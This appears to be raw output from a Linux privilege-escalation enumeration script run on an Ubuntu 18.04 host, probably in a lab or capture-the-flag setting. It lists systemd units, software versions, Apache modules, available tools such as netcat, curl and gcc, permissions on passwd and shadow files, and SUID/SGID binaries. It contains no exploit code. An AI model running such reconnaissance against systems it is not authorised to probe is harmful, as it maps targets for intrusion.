-rw-r--r-- 1 root root 298 Sep 10 2018 vgauth.service
-rw-r--r-- 1 root root 173 Aug 6 2018 motd-news.service
-rw-r--r-- 1 root root 175 Aug 6 2018 motd-news.timer
-rw-r--r-- 1 root root 212 Jul 10 2018 apport-autoreport.path
-rw-r--r-- 1 root root 481 Jul 2 2018 mdadm-grow-continue@.service
-rw-r--r-- 1 root root 210 Jul 2 2018 mdadm-last-resort@.service
-rw-r--r-- 1 root root 179 Jul 2 2018 mdadm-last-resort@.timer
lrwxrwxrwx 1 root root 9 Jul 2 2018 mdadm.service -> /dev/null
-rw-r--r-- 1 root root 670 Jul 2 2018 mdadm-shutdown.service
lrwxrwxrwx 1 root root 9 Jul 2 2018 mdadm-waitidle.service -> /dev/null
-rw-r--r-- 1 root root 388 Jul 2 2018 mdmonitor.service
-rw-r--r-- 1 root root 1.1K Jul 2 2018 mdmon@.service
-rw-r--r-- 1 root root 456 Jun 28 2018 ebttables.service
-rw-r--r-- 1 root root 309 May 30 2018 pollinate.service
-rw-r--r-- 1 root root 290 Apr 24 2018 rsyslog.service
drwxr-xr-x 2 root root 4.0K Apr 20 2018 runlevel1.target.wants
drwxr-xr-x 2 root root 4.0K Apr 20 2018 runlevel2.target.wants
drwxr-xr-x 2 root root 4.0K Apr 20 2018 runlevel3.target.wants
drwxr-xr-x 2 root root 4.0K Apr 20 2018 runlevel4.target.wants
drwxr-xr-x 2 root root 4.0K Apr 20 2018 runlevel5.target.wants
-rw-r--r-- 1 root root 383 Apr 12 2018 blk-availability.service
-rw-r--r-- 1 root root 341 Apr 12 2018 dm-event.service
-rw-r--r-- 1 root root 248 Apr 12 2018 dm-event.socket
-rw-r--r-- 1 root root 345 Apr 12 2018 lvm2-lvmetad.service
-rw-r--r-- 1 root root 215 Apr 12 2018 lvm2-lvmetad.socket
-rw-r--r-- 1 root root 300 Apr 12 2018 lvm2-lvmpolld.service
-rw-r--r-- 1 root root 213 Apr 12 2018 lvm2-lvmpolld.socket
-rw-r--r-- 1 root root 693 Apr 12 2018 lvm2-monitor.service
-rw-r--r-- 1 root root 403 Apr 12 2018 lvm2-pvscan@.service
lrwxrwxrwx 1 root root 9 Apr 12 2018 lvm2.service -> /dev/null
-rw-r--r-- 1 root root 175 Mar 27 2018 polkit.service
-rw-r--r-- 1 root root 544 Mar 22 2018 apparmor.service
-rw-r--r-- 1 root root 169 Feb 20 2018 atd.service
-rw-r--r-- 1 root root 287 Feb 15 2018 keyboard-setup.service
-rw-r--r-- 1 root root 312 Feb 15 2018 console-setup.service
-rw-r--r-- 1 root root 919 Jan 28 2018 basic.target
-rw-r--r-- 1 root root 419 Jan 28 2018 bluetooth.target
-rw-r--r-- 1 root root 465 Jan 28 2018 cryptsetup-pre.target
-rw-r--r-- 1 root root 412 Jan 28 2018 cryptsetup.target
-rw-r--r-- 1 root root 750 Jan 28 2018 dev-hugepages.mount
-rw-r--r-- 1 root root 665 Jan 28 2018 dev-mqueue.mount
-rw-r--r-- 1 root root 471 Jan 28 2018 emergency.target
-rw-r--r-- 1 root root 541 Jan 28 2018 exit.target
-rw-r--r-- 1 root root 480 Jan 28 2018 final.target
-rw-r--r-- 1 root root 506 Jan 28 2018 getty-pre.target
-rw-r--r-- 1 root root 500 Jan 28 2018 getty.target
-rw-r--r-- 1 root root 598 Jan 28 2018 graphical.target
-rw-r--r-- 1 root root 527 Jan 28 2018 halt.target

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-rw-r--r-- 1 root root 509 Jan 28 2018 hibernate.target
-rw-r--r-- 1 root root 530 Jan 28 2018 hybrid-sleep.target
-rw-r--r-- 1 root root 593 Jan 28 2018 initrd-fs.target
-rw-r--r-- 1 root root 561 Jan 28 2018 initrd-root-device.target
-rw-r--r-- 1 root root 566 Jan 28 2018 initrd-root-fs.target
-rw-r--r-- 1 root root 754 Jan 28 2018 initrd-switch-root.target
-rw-r--r-- 1 root root 763 Jan 28 2018 initrd.target
-rw-r--r-- 1 root root 541 Jan 28 2018 kexec.target
-rw-r--r-- 1 root root 435 Jan 28 2018 local-fs-pre.target
-rw-r--r-- 1 root root 547 Jan 28 2018 local-fs.target
-rw-r--r-- 1 root root 445 Jan 28 2018 machine.slice
-rw-r--r-- 1 root root 532 Jan 28 2018 multi-user.target
-rw-r--r-- 1 root root 505 Jan 28 2018 network-online.target
-rw-r--r-- 1 root root 502 Jan 28 2018 network-pre.target
-rw-r--r-- 1 root root 521 Jan 28 2018 network.target
-rw-r--r-- 1 root root 554 Jan 28 2018 nss-lookup.target
-rw-r--r-- 1 root root 513 Jan 28 2018 nss-user-lookup.target
-rw-r--r-- 1 root root 394 Jan 28 2018 paths.target
-rw-r--r-- 1 root root 592 Jan 28 2018 poweroff.target
-rw-r--r-- 1 root root 417 Jan 28 2018 printer.target
-rw-r--r-- 1 root root 745 Jan 28 2018 proc-sys-fs-binfmt_misc.automount
-rw-r--r-- 1 root root 655 Jan 28 2018 proc-sys-fs-binfmt_misc.mount
-rw-r--r-- 1 root root 583 Jan 28 2018 reboot.target
-rw-r--r-- 1 root root 549 Jan 28 2018 remote-cryptsetup.target
-rw-r--r-- 1 root root 436 Jan 28 2018 remote-fs-pre.target
-rw-r--r-- 1 root root 522 Jan 28 2018 remote-fs.target
-rw-r--r-- 1 root root 492 Jan 28 2018 rescue.target
-rw-r--r-- 1 root root 540 Jan 28 2018 rpcbind.target
-rw-r--r-- 1 root root 442 Jan 28 2018 shutdown.target
-rw-r--r-- 1 root root 402 Jan 28 2018 sigpwr.target
-rw-r--r-- 1 root root 460 Jan 28 2018 sleep.target
-rw-r--r-- 1 root root 449 Jan 28 2018 slices.target
-rw-r--r-- 1 root root 420 Jan 28 2018 smartcard.target
-rw-r--r-- 1 root root 396 Jan 28 2018 sockets.target
-rw-r--r-- 1 root root 420 Jan 28 2018 sound.target
-rw-r--r-- 1 root root 503 Jan 28 2018 suspend.target
-rw-r--r-- 1 root root 393 Jan 28 2018 swap.target
-rw-r--r-- 1 root root 795 Jan 28 2018 sys-fs-fuse-connections.mount
-rw-r--r-- 1 root root 558 Jan 28 2018 sysinit.target
-rw-r--r-- 1 root root 767 Jan 28 2018 sys-kernel-config.mount
-rw-r--r-- 1 root root 710 Jan 28 2018 sys-kernel-debug.mount
-rw-r--r-- 1 root root 1.4K Jan 28 2018 syslog.socket
-rw-r--r-- 1 root root 704 Jan 28 2018 systemd-ask-password-console.path
-rw-r--r-- 1 root root 632 Jan 28 2018 systemd-ask-password-wall.path
-rw-r--r-- 1 root root 564 Jan 28 2018 systemd-initctl.socket
-rw-r--r-- 1 root root 1.2K Jan 28 2018 systemd-journald-dev-log.socket
-rw-r--r-- 1 root root 882 Jan 28 2018 systemd-journald.socket
-rw-r--r-- 1 root root 631 Jan 28 2018 systemd-networkd.socket
-rw-r--r-- 1 root root 657 Jan 28 2018 systemd-rfkill.socket
-rw-r--r-- 1 root root 490 Jan 28 2018 systemd-tmpfiles-clean.timer
-rw-r--r-- 1 root root 635 Jan 28 2018 systemd-udev-control.socket
-rw-r--r-- 1 root root 610 Jan 28 2018 systemd-udev-kernel.socket
-rw-r--r-- 1 root root 445 Jan 28 2018 system.slice
-rw-r--r-- 1 root root 592 Jan 28 2018 system-update.target
-rw-r--r-- 1 root root 445 Jan 28 2018 timers.target
-rw-r--r-- 1 root root 435 Jan 28 2018 time-sync.target
-rw-r--r-- 1 root root 457 Jan 28 2018 umount.target
-rw-r--r-- 1 root root 432 Jan 28 2018 user.slice
-rw-r--r-- 1 root root 493 Jan 25 2018 ssh.service
-rw-r--r-- 1 root root 244 Jan 25 2018 ssh@.service
lrwxrwxrwx 1 root root 9 Jan 18 2018 sudo.service -> /dev/null
-rw-r--r-- 1 root root 155 Jan 17 2018 phpsessionclean.service
-rw-r--r-- 1 root root 144 Jan 17 2018 phpsessionclean.timer
-rw-r--r-- 1 root root 216 Jan 16 2018 ssh.socket
-rw-r--r-- 1 root root 462 Jan 15 2018 mysql.service
-rw-r--r-- 1 root root 741 Dec 18 2017 accounts-daemon.service
-rw-r--r-- 1 root root 246 Nov 20 2017 apport-forward.socket
-rw-r--r-- 1 root root 142 Nov 20 2017 apport-forward@.service
-rw-r--r-- 1 root root 251 Nov 16 2017 cron.service
-rw-r--r-- 1 root root 505 Nov 15 2017 dbus.service
-rw-r--r-- 1 root root 106 Nov 15 2017 dbus.socket

```

```
-rw-r--r-- 1 root root 331 Nov 1 2017 inetd.service
lrwxrwxrwx 1 root root 13 Nov 1 2017 openbsd-inetd.service -> inetd.service
-rw-r--r-- 1 root root 266 Aug 15 2017 ufw.service
-rw-r--r-- 1 root root 401 Aug 15 2017 ureadahead.service
-rw-r--r-- 1 root root 250 Aug 15 2017 ureadahead-stop.service
-rw-r--r-- 1 root root 242 Aug 15 2017 ureadahead-stop.timer
-rw-r--r-- 1 root root 330 Aug 10 2017 setvtrgb.service
-rw-r--r-- 1 root root 115 Apr 22 2017 acpid.path
-rw-r--r-- 1 root root 234 Apr 22 2017 acpid.service
-rw-r--r-- 1 root root 115 Apr 22 2017 acpid.socket
lrwxrwxrwx 1 root root 9 Mar 8 2017 cgroupfs-mount.service -> /dev/null
-rw-r--r-- 1 root root 259 Oct 28 2016 ubuntu-fan.service
-rw-r--r-- 1 root root 248 Jul 27 2014 vsftpd.service
-rw-r--r-- 1 root root 188 Feb 24 2014 rsync.service
```

/lib/systemd/system/apache2.service.d:

total 4.0K

```
-rw-r--r-- 1 root root 42 Oct 10 2018 apache2-systemd.conf
```

/lib/systemd/system/sockets.target.wants:

total 0

```
lrwxrwxrwx 1 root root 25 Feb 28 2019 systemd-initctl.socket -> ../systemd-initctl.socket
lrwxrwxrwx 1 root root 32 Feb 28 2019 systemd-journald-audit.socket -> ../systemd-journald-audit.socket
lrwxrwxrwx 1 root root 34 Feb 28 2019 systemd-journald-dev-log.socket -> ../systemd-journald-dev-log.socket
lrwxrwxrwx 1 root root 26 Feb 28 2019 systemd-journald.socket -> ../systemd-journald.socket
lrwxrwxrwx 1 root root 31 Feb 28 2019 systemd-udevd-control.socket -> ../systemd-udevd-control.socket
lrwxrwxrwx 1 root root 30 Feb 28 2019 systemd-udevd-kernel.socket -> ../systemd-udevd-kernel.socket
lrwxrwxrwx 1 root root 14 Nov 15 2017 dbus.socket -> ../dbus.socket
```

/lib/systemd/system/sysinit.target.wants:

total 0

```
lrwxrwxrwx 1 root root 20 Feb 28 2019 cryptsetup.target -> ../cryptsetup.target
lrwxrwxrwx 1 root root 22 Feb 28 2019 dev-hugepages.mount -> ../dev-hugepages.mount
lrwxrwxrwx 1 root root 19 Feb 28 2019 dev-mqueue.mount -> ../dev-mqueue.mount
lrwxrwxrwx 1 root root 28 Feb 28 2019 kmod-static-nodes.service -> ../kmod-static-nodes.service
lrwxrwxrwx 1 root root 36 Feb 28 2019 proc-sys-fs-binfmt_misc.automount -> ../proc-sys-fs-binfmt_misc.automount
lrwxrwxrwx 1 root root 32 Feb 28 2019 sys-fs-fuse-connections.mount -> ../sys-fs-fuse-connections.mount
lrwxrwxrwx 1 root root 26 Feb 28 2019 sys-kernel-config.mount -> ../sys-kernel-config.mount
lrwxrwxrwx 1 root root 25 Feb 28 2019 sys-kernel-debug.mount -> ../sys-kernel-debug.mount
lrwxrwxrwx 1 root root 36 Feb 28 2019 systemd-ask-password-console.path -> ../systemd-ask-password-console.path
lrwxrwxrwx 1 root root 25 Feb 28 2019 systemd-binfmt.service -> ../systemd-binfmt.service
lrwxrwxrwx 1 root root 30 Feb 28 2019 systemd-hwdb-update.service -> ../systemd-hwdb-update.service
lrwxrwxrwx 1 root root 27 Feb 28 2019 systemd-journald.service -> ../systemd-journald.service
lrwxrwxrwx 1 root root 32 Feb 28 2019 systemd-journal-flush.service -> ../systemd-journal-flush.service
lrwxrwxrwx 1 root root 36 Feb 28 2019 systemd-machine-id-commit.service -> ../systemd-machine-id-commit.service
lrwxrwxrwx 1 root root 31 Feb 28 2019 systemd-modules-load.service -> ../systemd-modules-load.service
lrwxrwxrwx 1 root root 30 Feb 28 2019 systemd-random-seed.service -> ../systemd-random-seed.service
lrwxrwxrwx 1 root root 25 Feb 28 2019 systemd-sysctl.service -> ../systemd-sysctl.service
lrwxrwxrwx 1 root root 37 Feb 28 2019 systemd-tmpfiles-setup-dev.service -> ../systemd-tmpfiles-setup-dev.service
lrwxrwxrwx 1 root root 33 Feb 28 2019 systemd-tmpfiles-setup.service -> ../systemd-tmpfiles-setup.service
lrwxrwxrwx 1 root root 24 Feb 28 2019 systemd-udevd.service -> ../systemd-udevd.service
lrwxrwxrwx 1 root root 31 Feb 28 2019 systemd-udev-trigger.service -> ../systemd-udev-trigger.service
lrwxrwxrwx 1 root root 30 Feb 28 2019 systemd-update-utmp.service -> ../systemd-update-utmp.service
lrwxrwxrwx 1 root root 30 Sep 11 2018 plymouth-read-write.service -> ../plymouth-read-write.service
lrwxrwxrwx 1 root root 25 Sep 11 2018 plymouth-start.service -> ../plymouth-start.service
```

/lib/systemd/system/getty.target.wants:

total 0

```
lrwxrwxrwx 1 root root 23 Feb 28 2019 getty-static.service -> ../getty-static.service
```

/lib/systemd/system/graphical.target.wants:

total 0

```
lrwxrwxrwx 1 root root 39 Feb 28 2019 systemd-update-utmp-runlevel.service -> ../systemd-update-utmp-runlevel.service
```

/lib/systemd/system/local-fs.target.wants:

total 0

```
lrwxrwxrwx 1 root root 29 Feb 28 2019 systemd-remount-fs.service -> ../systemd-remount-fs.service
```

/lib/systemd/system/multi-user.target.wants:

total 0

```
lrwxrwxrwx 1 root root 15 Feb 28 2019 getty.target -> ../getty.target
lrwxrwxrwx 1 root root 33 Feb 28 2019 systemd-ask-password-wall.path -> ../systemd-ask-password-wall.path
lrwxrwxrwx 1 root root 25 Feb 28 2019 systemd-logind.service -> ../systemd-logind.service
lrwxrwxrwx 1 root root 39 Feb 28 2019 systemd-update-utmp-runlevel.service -> ../systemd-update-utmp-runlevel.service
lrwxrwxrwx 1 root root 32 Feb 28 2019 systemd-user-sessions.service -> ../systemd-user-sessions.service
lrwxrwxrwx 1 root root 24 Sep 11 2018 plymouth-quit.service -> ../plymouth-quit.service
lrwxrwxrwx 1 root root 29 Sep 11 2018 plymouth-quit-wait.service -> ../plymouth-quit-wait.service
lrwxrwxrwx 1 root root 15 Nov 15 2017 dbus.service -> ../dbus.service
```

/lib/systemd/system/rescue.target.wants:

```
total 0
lrwxrwxrwx 1 root root 39 Feb 28 2019 systemd-update-utmp-runlevel.service -> ../systemd-update-utmp-runlevel.service
```

/lib/systemd/system/timers.target.wants:

```
total 0
lrwxrwxrwx 1 root root 31 Feb 28 2019 systemd-tmpfiles-clean.timer -> ../systemd-tmpfiles-clean.timer
```

/lib/systemd/system/rc-local.service.d:

```
total 4.0K
-rw-r--r-- 1 root root 290 Feb 28 2019 debian.conf
```

/lib/systemd/system/user@.service.d:

```
total 4.0K
-rw-r--r-- 1 root root 125 Feb 28 2019 timeout.conf
```

/lib/systemd/system/halt.target.wants:

```
total 0
lrwxrwxrwx 1 root root 24 Sep 11 2018 plymouth-halt.service -> ../plymouth-halt.service
```

/lib/systemd/system/initrd-switch-root.target.wants:

```
total 0
lrwxrwxrwx 1 root root 25 Sep 11 2018 plymouth-start.service -> ../plymouth-start.service
lrwxrwxrwx 1 root root 31 Sep 11 2018 plymouth-switch-root.service -> ../plymouth-switch-root.service
```

/lib/systemd/system/kexec.target.wants:

```
total 0
lrwxrwxrwx 1 root root 25 Sep 11 2018 plymouth-kexec.service -> ../plymouth-kexec.service
```

/lib/systemd/system/poweroff.target.wants:

```
total 0
lrwxrwxrwx 1 root root 28 Sep 11 2018 plymouth-poweroff.service -> ../plymouth-poweroff.service
```

/lib/systemd/system/reboot.target.wants:

```
total 0
lrwxrwxrwx 1 root root 26 Sep 11 2018 plymouth-reboot.service -> ../plymouth-reboot.service
```

/lib/systemd/system/runlevel1.target.wants:

total 0

/lib/systemd/system/runlevel2.target.wants:

total 0

/lib/systemd/system/runlevel3.target.wants:

total 0

/lib/systemd/system/runlevel4.target.wants:

total 0

/lib/systemd/system/runlevel5.target.wants:

total 0

/lib/systemd/system-generators:

```
total 240K
-rwxr-xr-x 1 root root 19K Mar 15 2019 snapd-generator
-rwxr-xr-x 1 root root 23K Feb 28 2019 systemd-cryptsetup-generator
-rwxr-xr-x 1 root root 10K Feb 28 2019 systemd-debug-generator
-rwxr-xr-x 1 root root 31K Feb 28 2019 systemd-fstab-generator
-rwxr-xr-x 1 root root 14K Feb 28 2019 systemd-getty-generator
-rwxr-xr-x 1 root root 26K Feb 28 2019 systemd-gpt-auto-generator
```

```
-rwxr-xr-x 1 root root 10K Feb 28 2019 systemd-hibernate-resume-generator
-rwxr-xr-x 1 root root 10K Feb 28 2019 systemd-rc-local-generator
-rwxr-xr-x 1 root root 10K Feb 28 2019 systemd-system-update-generator
-rwxr-xr-x 1 root root 31K Feb 28 2019 systemd-sysv-generator
-rwxr-xr-x 1 root root 14K Feb 28 2019 systemd-veritysetup-generator
-rwxr-xr-x 1 root root 4.8K Jan 29 2019 cloud-init-generator
lrwxrwxrwx 1 root root 22 Jan 10 2019 netplan -> ../netplan/generate
-rwxr-xr-x 1 root root 287 Oct 15 2018 friendly-recovery
-rwxr-xr-x 1 root root 11K Apr 12 2018 lvm2-activation-generator
```

/lib/systemd/system-sleep:

total 8.0K

```
-rwxr-xr-x 1 root root 219 Feb 21 2019 unattended-upgrades
-rwxr-xr-x 1 root root 92 Feb 22 2018 hdparm
```

/lib/systemd/network:

total 16K

```
-rw-r--r-- 1 root root 645 Jan 28 2018 80-container-host0.network
-rw-r--r-- 1 root root 718 Jan 28 2018 80-container-ve.network
-rw-r--r-- 1 root root 704 Jan 28 2018 80-container-vz.network
-rw-r--r-- 1 root root 412 Jan 28 2018 99-default.link
```

/lib/systemd/system-preset:

total 4.0K

```
-rw-r--r-- 1 root root 951 Jan 28 2018 90-systemd.preset
```

/lib/systemd/system-shutdown:

total 4.0K

```
-rwxr-xr-x 1 root root 160 Jul 2 2018 mdadm.shutdown
```

SOFTWARE

[-] Sudo version:

Sudo version 1.8.21p2

[-] MYSQL version:

mysql Ver 14.14 Distrib 5.7.25, for Linux (x86_64) using EditLine wrapper

[-] Apache version:

Server version: Apache/2.4.29 (Ubuntu)
Server built: 2018-10-10T18:59:25

[-] Apache user configuration:

APACHE_RUN_USER=www-data
APACHE_RUN_GROUP=www-data

[-] Installed Apache modules:

Loaded Modules:

```
core_module (static)
so_module (static)
  watchdog_module (static)
http_module (static)
log_config_module (static)
logio_module (static)
version_module (static)
unixd_module (static)
access_compat_module (shared)
alias_module (shared)
auth_basic_module (shared)
authn_core_module (shared)
authn_file_module (shared)
authz_core_module (shared)
authz_host_module (shared)
authz_user_module (shared)
autoindex_module (shared)
deflate_module (shared)
dir_module (shared)
```

env_module (shared)
filter_module (shared)
mime_module (shared)
mpm_prefork_module (shared)
negotiation_module (shared)
php7_module (shared)
reqtimeout_module (shared)
setenvif_module (shared)
status_module (shared)

INTERESTING FILES

[-] Useful file locations:

/bin/nc
/bin/netcat
/usr/bin/wget
/usr/bin/gcc
/usr/bin/curl

[-] Installed compilers:

ii g++	4:7.3.0-3ubuntu2.1	amd64	GNU C++ compiler
ii g++-7	7.3.0-27ubuntu1~18.04	amd64	GNU C++ compiler
ii gcc	4:7.3.0-3ubuntu2.1	amd64	GNU C compiler
ii gcc-7	7.3.0-27ubuntu1~18.04	amd64	GNU C compiler

[-] Can we read/write sensitive files:

-rw-r--r-- 1 root root 1737 Mar 22 2019 /etc/passwd
-rw-r--r-- 1 root root 762 Mar 22 2019 /etc/group
-rw-r--r-- 1 root root 581 Apr 9 2018 /etc/profile
-rw-r----- 1 root shadow 1223 Mar 22 2019 /etc/shadow

[-] SUID files:

-rwsr-xr-x 1 root root 100760 Nov 23 2018 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
-rwsr-xr-x 1 root root 14328 Jan 15 2019 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-- 1 root messagebus 42992 Nov 15 2017 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmccrypt-get-device
-rwsr-sr-x 1 root root 101240 Mar 15 2019 /usr/lib/snapd/snap-confine
-rwsr-xr-x 1 root root 436552 Mar 4 2019 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 37136 Jan 25 2018 /usr/bin/newuidmap
-rwsr-xr-x 1 root root 76496 Jan 25 2018 /usr/bin/chfn
-rwsr-xr-x 1 root root 18448 Mar 9 2017 /usr/bin/traceroute6.iputils
-rwsr-xr-x 1 root root 40344 Jan 25 2018 /usr/bin/newgrp
-rwsr-xr-x 1 root root 44528 Jan 25 2018 /usr/bin/chsh
-rwsr-xr-x 1 root root 37136 Jan 25 2018 /usr/bin/newgidmap
-rwsr-xr-x 1 root root 59640 Jan 25 2018 /usr/bin/passwd
-rwsr-xr-x 1 root root 22520 Jan 15 2019 /usr/bin/pkexec
-rwsr-sr-x 1 daemon daemon 51464 Feb 20 2018 /usr/bin/at
-rwsr-xr-x 1 root root 149080 Jan 18 2018 /usr/bin/sudo
-rwsr-xr-x 1 root root 75824 Jan 25 2018 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 44664 Jan 25 2018 /bin/su
-rwsr-xr-x 1 root root 43088 Oct 15 2018 /bin/mount
-rwsr-xr-x 1 root root 64424 Mar 9 2017 /bin/ping
-rwsr-xr-x 1 root root 146128 Mar 14 2019 /bin/ntfs-3g
-rwsr-xr-x 1 root root 30800 Aug 11 2016 /bin/fusermount
-rwsr-xr-x 1 root root 26696 Oct 15 2018 /bin/umount
-rwsr-xr-x 1 root root 40152 May 16 2018 /snap/core/6350/bin/mount
-rwsr-xr-x 1 root root 44168 May 7 2014 /snap/core/6350/bin/ping
-rwsr-xr-x 1 root root 44680 May 7 2014 /snap/core/6350/bin/ping6
-rwsr-xr-x 1 root root 40128 May 17 2017 /snap/core/6350/bin/su
-rwsr-xr-x 1 root root 27608 May 16 2018 /snap/core/6350/bin/umount
-rwsr-xr-x 1 root root 71824 May 17 2017 /snap/core/6350/usr/bin/chfn
-rwsr-xr-x 1 root root 40432 May 17 2017 /snap/core/6350/usr/bin/chsh
-rwsr-xr-x 1 root root 75304 May 17 2017 /snap/core/6350/usr/bin/gpasswd
-rwsr-xr-x 1 root root 39904 May 17 2017 /snap/core/6350/usr/bin/newgrp
-rwsr-xr-x 1 root root 54256 May 17 2017 /snap/core/6350/usr/bin/passwd
-rwsr-xr-x 1 root root 136808 Jul 4 2017 /snap/core/6350/usr/bin/sudo
-rwsr-xr-- 1 root systemd-resolve 42992 Jan 12 2017 /snap/core/6350/usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 428240 Nov 5 2018 /snap/core/6350/usr/lib/openssh/ssh-keysign

```

-rwsr-sr-x 1 root root 98472 Jan 29 2019 /snap/core/6350/usr/lib/snapd/snap-confine
-rwsr-xr-- 1 root dip 394984 Jun 12 2018 /snap/core/6350/usr/sbin/pppd
-rwsr-xr-x 1 root root 40152 May 16 2018 /snap/core/6531/bin/mount
-rwsr-xr-x 1 root root 44168 May 7 2014 /snap/core/6531/bin/ping
-rwsr-xr-x 1 root root 44680 May 7 2014 /snap/core/6531/bin/ping6
-rwsr-xr-x 1 root root 40128 May 17 2017 /snap/core/6531/bin/su
-rwsr-xr-x 1 root root 27608 May 16 2018 /snap/core/6531/bin/umount
-rwsr-xr-x 1 root root 71824 May 17 2017 /snap/core/6531/usr/bin/chfn
-rwsr-xr-x 1 root root 40432 May 17 2017 /snap/core/6531/usr/bin/chsh
-rwsr-xr-x 1 root root 75304 May 17 2017 /snap/core/6531/usr/bin/gpasswd
-rwsr-xr-x 1 root root 39904 May 17 2017 /snap/core/6531/usr/bin/newgrp
-rwsr-xr-x 1 root root 54256 May 17 2017 /snap/core/6531/usr/bin/passwd
-rwsr-xr-x 1 root root 136808 Jul 4 2017 /snap/core/6531/usr/bin/sudo
-rwsr-xr-- 1 root systemd-resolve 42992 Jan 12 2017 /snap/core/6531/usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 428240 Jan 31 2019 /snap/core/6531/usr/lib/openssh/ssh-keysign
-rwsr-sr-x 1 root root 98472 Feb 27 2019 /snap/core/6531/usr/lib/snapd/snap-confine
-rwsr-xr-- 1 root dip 394984 Jun 12 2018 /snap/core/6531/usr/sbin/pppd

```

[-] SGID files:

```

-rwxr-sr-x 1 root shadow 34816 Feb 27 2019 /sbin/unix_chkpwd
-rwxr-sr-x 1 root shadow 34816 Feb 27 2019 /sbin/pam_extrausers_chkpwd
-rwxr-sr-x 1 root mail 26616 Sep 12 2017 /usr/lib/emacs/25.2/x86_64-linux-gnu/movemail
-rwxr-sr-x 1 root utmp 10232 Mar 11 2016 /usr/lib/x86_64-linux-gnu/utempter/utempter
-rwsr-sr-x 1 root root 101240 Mar 15 2019 /usr/lib/snapd/snap-confine
-rwxr-sr-x 1 root tty 14328 Jan 17 2018 /usr/bin/bsd-write
-rwxr-sr-x 1 root shadow 71816 Jan 25 2018 /usr/bin/chage
-rwxr-sr-x 1 root tty 30800 Oct 15 2018 /usr/bin/wall
-rwxr-sr-x 1 root crontab 39352 Nov 16 2017 /usr/bin/crontab
-rwxr-sr-x 1 root shadow 22808 Jan 25 2018 /usr/bin/expiry
-rwxr-sr-x 1 root mlocate 43088 Mar 1 2018 /usr/bin/mlocate
-rwxr-sr-x 1 root ssh 362640 Mar 4 2019 /usr/bin/ssh-agent
-rwxr-sr-x 1 root mail 18424 Dec 3 2017 /usr/bin/dotlockfile
-rwsr-sr-x 1 daemon daemon 51464 Feb 20 2018 /usr/bin/at
-rwxr-sr-x 1 root shadow 35632 Apr 9 2018 /snap/core/6350/sbin/pam_extrausers_chkpwd
-rwxr-sr-x 1 root shadow 35600 Apr 9 2018 /snap/core/6350/sbin/unix_chkpwd
-rwxr-sr-x 1 root shadow 62336 May 17 2017 /snap/core/6350/usr/bin/chage
-rwxr-sr-x 1 root systemd-network 36080 Apr 5 2016 /snap/core/6350/usr/bin/crontab
-rwxr-sr-x 1 root mail 14856 Dec 7 2013 /snap/core/6350/usr/bin/dotlockfile
-rwxr-sr-x 1 root shadow 22768 May 17 2017 /snap/core/6350/usr/bin/expiry
-rwxr-sr-x 3 root mail 14592 Dec 3 2012 /snap/core/6350/usr/bin/mail-lock
-rwxr-sr-x 3 root mail 14592 Dec 3 2012 /snap/core/6350/usr/bin/mail-touchlock
-rwxr-sr-x 3 root mail 14592 Dec 3 2012 /snap/core/6350/usr/bin/mail-unlock
-rwxr-sr-x 1 root crontab 358624 Nov 5 2018 /snap/core/6350/usr/bin/ssh-agent
-rwxr-sr-x 1 root tty 27368 May 16 2018 /snap/core/6350/usr/bin/wall
-rwsr-sr-x 1 root root 98472 Jan 29 2019 /snap/core/6350/usr/lib/snapd/snap-confine
-rwxr-sr-x 1 root shadow 35632 Apr 9 2018 /snap/core/6531/sbin/pam_extrausers_chkpwd
-rwxr-sr-x 1 root shadow 35600 Apr 9 2018 /snap/core/6531/sbin/unix_chkpwd
-rwxr-sr-x 1 root shadow 62336 May 17 2017 /snap/core/6531/usr/bin/chage
-rwxr-sr-x 1 root systemd-network 36080 Apr 5 2016 /snap/core/6531/usr/bin/crontab
-rwxr-sr-x 1 root mail 14856 Dec 7 2013 /snap/core/6531/usr/bin/dotlockfile
-rwxr-sr-x 1 root shadow 22768 May 17 2017 /snap/core/6531/usr/bin/expiry
-rwxr-sr-x 3 root mail 14592 Dec 3 2012 /snap/core/6531/usr/bin/mail-lock
-rwxr-sr-x 3 root mail 14592 Dec 3 2012 /snap/core/6531/usr/bin/mail-touchlock
-rwxr-sr-x 3 root mail 14592 Dec 3 2012 /snap/core/6531/usr/bin/mail-unlock
-rwxr-sr-x 1 root crontab 358624 Jan 31 2019 /snap/core/6531/usr/bin/ssh-agent
-rwxr-sr-x 1 root tty 27368 May 16 2018 /snap/core/6531/usr/bin/wall
-rwsr-sr-x 1 root root 98472 Feb 27 2019 /snap/core/6531/usr/lib/snapd/snap-confine

```

[+] Possibly interesting SGID files:

```

-rwxr-sr-x 1 root mail 26616 Sep 12 2017 /usr/lib/emacs/25.2/x86_64-linux-gnu/movemail

```

[+] Files with POSIX capabilities set:

```

/usr/bin/mtr-packet = cap_net_raw+ep

```

[-] Can't search *.conf files as no keyword was entered

[-] Can't search *.php files as no keyword was entered

[-] Can't search *.log files as no keyword was entered

[-] Can't search *.ini files as no keyword was entered

[-] All *.conf files in /etc (recursive 1 level):

```
-rw-r--r-- 1 root root 812 Mar 24 2018 /etc/mke2fs.conf
-rw-r--r-- 1 root root 1125 Mar 22 2019 /etc/inetd.conf
-rw-r--r-- 1 root root 513 Feb 14 2019 /etc/nsswitch.conf
-rw-r--r-- 1 root root 92 Apr 9 2018 /etc/host.conf
-rw-r--r-- 1 root root 5898 Feb 14 2019 /etc/ca-certificates.conf
-rw-r--r-- 1 root root 5850 Feb 5 2018 /etc/vsftpd.conf
-rw-r--r-- 1 root root 403 Mar 1 2018 /etc/updatedb.conf
-rw-r--r-- 1 root root 3028 Feb 14 2019 /etc/adduser.conf
-rw-r--r-- 1 root root 14867 Oct 13 2016 /etc/ltrace.conf
-rw-r--r-- 1 root root 100 Jun 25 2018 /etc/sos.conf
-rw-r--r-- 1 root root 6920 Sep 20 2018 /etc/overlayroot.conf
-rw-r--r-- 1 root root 4861 Feb 22 2018 /etc/hdparm.conf
-rw-r--r-- 1 root root 2969 Feb 28 2018 /etc/debconf.conf
-rw-r--r-- 1 root root 552 Apr 4 2018 /etc/pam.conf
